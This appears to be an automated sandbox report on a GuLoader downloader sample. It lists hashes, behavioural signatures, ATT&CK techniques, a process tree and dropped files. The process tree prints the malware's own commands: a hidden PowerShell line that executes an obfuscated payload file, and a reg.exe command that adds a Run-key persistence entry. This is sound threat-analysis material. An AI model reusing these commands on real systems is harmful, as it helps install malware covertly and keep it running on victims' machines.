guloader | 9f200b4426729f0d0f0b5977709c26f9961594f6612468102cec4dde53afc124

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
12/07/2024, 09:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MalwareBazaar.exe
Size 484KB
Sample240712-k194psyglc
SHA256 9f200b4426729f0d0f0b5977709c26f9961594f6612468102cec4dde53afc124
MD5 4d5aa2285d7426050f478210bae7c5aa
SHA1 54d7e8ce63dd56acc9dab89d0fe9bdeba0acda96
SHA512 e5373e2e7201d31f26a41766606bc03f306ee7386b850ba9cfe27facf6b92b80ab3503218febda706ac428bd17d048ebaec83392acc17f55043edb830844d151
SSDEEP 12288:R0NwzBmcW5C5E3FRSnknkt7PY4vgxCZ+5JOwxyU3Bb/:fzwchGVRFktENxCZMtRD
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader execution persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2772	powershell.exe

Loads dropped DLL 6 IoCs

pid	Process
2416	MalwareBazaar.exe
2416	MalwareBazaar.exe
2416	MalwareBazaar.exe
2416	MalwareBazaar.exe
2772	powershell.exe
2880	Fatherhoods.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\Preoccupant = "%Stableres% -windowstyle minimized $Netbrum=(Get-ItemProperty -Path 'HKCU:\\Toponymist\\').Berufsverbots;%Stableres% ($Netbrum)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	drive.google.com
5	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2880	Fatherhoods.exe
2880	Fatherhoods.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2772	powershell.exe
2880	Fatherhoods.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2772 set thread context of 2880	2772	powershell.exe	33

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x0035000000018bc8-42.dat	nsis_installer_1
behavioral1/files/0x0035000000018bc8-42.dat	nsis_installer_2

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
376	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2772	powershell.exe
2772	powershell.exe
2772	powershell.exe
2772	powershell.exe
2772	powershell.exe
2772	powershell.exe
2772	powershell.exe
2772	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2772	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2416 wrote to memory of 2772	2416	MalwareBazaar.exe	30
PID 2416 wrote to memory of 2772	2416	MalwareBazaar.exe	30
PID 2416 wrote to memory of 2772	2416	MalwareBazaar.exe	30
PID 2416 wrote to memory of 2772	2416	MalwareBazaar.exe	30
PID 2772 wrote to memory of 2880	2772	powershell.exe	33
PID 2772 wrote to memory of 2880	2772	powershell.exe	33
PID 2772 wrote to memory of 2880	2772	powershell.exe	33
PID 2772 wrote to memory of 2880	2772	powershell.exe	33
PID 2772 wrote to memory of 2880	2772	powershell.exe	33
PID 2772 wrote to memory of 2880	2772	powershell.exe	33
PID 2880 wrote to memory of 2892	2880	Fatherhoods.exe	34
PID 2880 wrote to memory of 2892	2880	Fatherhoods.exe	34
PID 2880 wrote to memory of 2892	2880	Fatherhoods.exe	34
PID 2880 wrote to memory of 2892	2880	Fatherhoods.exe	34
PID 2892 wrote to memory of 376	2892	cmd.exe	36
PID 2892 wrote to memory of 376	2892	cmd.exe	36
PID 2892 wrote to memory of 376	2892	cmd.exe	36
PID 2892 wrote to memory of 376	2892	cmd.exe	36

C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe
"C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Diffusibleness=Get-Content 'C:\Users\Admin\AppData\Local\kilns\Unobtainably\Gyldigheden146.Aga';$Bimana=$Diffusibleness.SubString(14599,3);.$Bimana($Diffusibleness)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Users\Admin\AppData\Local\Temp\Fatherhoods.exe
    "C:\Users\Admin\AppData\Local\Temp\Fatherhoods.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of WriteProcessMemory
    PID:2880
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preoccupant" /t REG_EXPAND_SZ /d "%Stableres% -windowstyle minimized $Netbrum=(Get-ItemProperty -Path 'HKCU:\Toponymist\').Berufsverbots;%Stableres% ($Netbrum)"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2892
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preoccupant" /t REG_EXPAND_SZ /d "%Stableres% -windowstyle minimized $Netbrum=(Get-ItemProperty -Path 'HKCU:\Toponymist\').Berufsverbots;%Stableres% ($Netbrum)"
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Gyldigheden146.Aga

Path C:\Users\Admin\AppData\Local\kilns\Unobtainably\Gyldigheden146.Aga
Size 69KB
SHA256 6ff0b96b411fa1248bf9526086106e1a03ece0800f175a490f5cd3f83f9547d7
MD5 d0a9e32e46f506f297ac08b6f2f12642
SHA1 eede417b23afdc7dd7f1b8c4a1368f2495c619a2
SHA512 2bb7f65278ee1bb772e44294ccf7a388d0312487bc481d7c0af8d6eefcaa6ecef7855e9e0dd282fad12bcdd8a68059ed3c68c3790f4220fe11019087f052178a
SSDEEP 1536:ssAVkjKeqAOneXI25uphBVMWOM9x82Y5ZDcDtlEZZMt:sRVK1NOneYTphTMWOM9e2YcDtKst
MD5 SHA1 SHA512 SSDEEP

Submit Download

Simens.Ice

Path C:\Users\Admin\AppData\Local\kilns\Unobtainably\Simens.Ice
Size 317KB
SHA256 3ddb99ea9e3285c07274baf2a33465a30c39b315c584d06b0e6319ca4b232247
MD5 c447a6853c4e90506068dd8a8e422539
SHA1 57cfb00c477b4ce55dcabadbb62fcec48e77adcb
SHA512 ba6ce148a2007b57c01e99b62b9f3d7a5737f7295425993c53db096d5300c887f9347007163664a06c185031b464b4a1184928aebeef3a907f402d575c077e4a
SSDEEP 6144:V5aognlaGZUFddUXqABQLyDg0NETR6jxsnKSth1:QlaowUXA0A6jCnT
MD5 SHA1 SHA512 SSDEEP

Submit Download

Fatherhoods.exe

Path \Users\Admin\AppData\Local\Temp\Fatherhoods.exe
Size 484KB
SHA256 9f200b4426729f0d0f0b5977709c26f9961594f6612468102cec4dde53afc124
MD5 4d5aa2285d7426050f478210bae7c5aa
SHA1 54d7e8ce63dd56acc9dab89d0fe9bdeba0acda96
SHA512 e5373e2e7201d31f26a41766606bc03f306ee7386b850ba9cfe27facf6b92b80ab3503218febda706ac428bd17d048ebaec83392acc17f55043edb830844d151
SSDEEP 12288:R0NwzBmcW5C5E3FRSnknkt7PY4vgxCZ+5JOwxyU3Bb/:fzwchGVRFktENxCZMtRD
MD5 SHA1 SHA512 SSDEEP

Submit Download

BgImage.dll

Path \Users\Admin\AppData\Local\Temp\nsjF7C8.tmp\BgImage.dll
Size 7KB
SHA256 dbf91707fa157603bea025a6411cdcb497ab11262c9c18b14dc431a45aa17c0b
MD5 521df745a41f0b8164ffd01717cacbba
SHA1 dc7a9eacfbeb1fae52091da5e80db6cb1b6bce74
SHA512 c5b1ba062872a8f534e2f0eac57fc3c0d8be9cda79605d86566d67260ba5477444a0ddfed1838b4fb14c677e5342c8419a88fcd38147dbaa36ac1f9e00c52bbe
SSDEEP 96:8eZ0AKTIfv7QCUsthvNL85s4lk38Eb3CDfvEh8uLzqk4jnLiEQjJ3KxkP:tXBfjbUA/85q3wEh8uLmVLpmP
MD5 SHA1 SHA512 SSDEEP

Submit Download

UserInfo.dll

Path \Users\Admin\AppData\Local\Temp\nsjF7C8.tmp\UserInfo.dll
Size 4KB
SHA256 943b33829f9013e4d361482a5c8981ba20a7155c78691dbe02a8f8cd2a02efa0
MD5 acbda33dd5700c122e2fe48e3d4351fd
SHA1 2c154baf7c64052ee712b7cdf9c36b7697dd3fc8
SHA512 d090adf65a74ac5b910b18bb67e989714335e7b4778cd771cff154d7186351a1bebbc7103cca849bdfa2709c991947ffff6c1d8fdf16a74f4dfb614bce3ff6fd
MD5 SHA1 SHA512

Submit Download

nsDialogs.dll

Path \Users\Admin\AppData\Local\Temp\nsjF7C8.tmp\nsDialogs.dll
Size 9KB
SHA256 8780095aa2f49725388cddf00d79a74e85c9c4863b366f55c39c606a5fb8440c
MD5 1c8b2b40c642e8b5a5b3ff102796fb37
SHA1 3245f55afac50f775eb53fd6d14abb7fe523393d
SHA512 4ff2dc83f640933162ec8818bb1bf3b3be1183264750946a3d949d2e7068ee606277b6c840193ef2b4663952387f07f6ab12c84c4a11cae9a8de7bd4e7971c57
SSDEEP 96:o2DlD3cd51V1zL7xqEscxM2DjDf3GEst+Nt+jvcx4T8qndYv0PLE:o2p34z/x3sREskpx4dO0PLE
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2772-33-0x00000000737E0000-0x0000000073D8B000-memory.dmp

Download

memory/2772-34-0x00000000737E0000-0x0000000073D8B000-memory.dmp

Download

memory/2772-31-0x00000000737E0000-0x0000000073D8B000-memory.dmp

Download

memory/2772-37-0x00000000737E0000-0x0000000073D8B000-memory.dmp

Download

memory/2772-32-0x00000000737E0000-0x0000000073D8B000-memory.dmp

Download

memory/2772-39-0x00000000737E0000-0x0000000073D8B000-memory.dmp

Download

memory/2772-40-0x0000000006600000-0x000000000ACE1000-memory.dmp

Download

memory/2772-41-0x00000000737E0000-0x0000000073D8B000-memory.dmp

Download

memory/2772-30-0x00000000737E1000-0x00000000737E2000-memory.dmp

Download

memory/2880-67-0x0000000000460000-0x00000000014C2000-memory.dmp

Download

memory/2880-68-0x00000000014D0000-0x0000000005BB1000-memory.dmp

Download

memory/2880-70-0x0000000000460000-0x00000000014C2000-memory.dmp

Download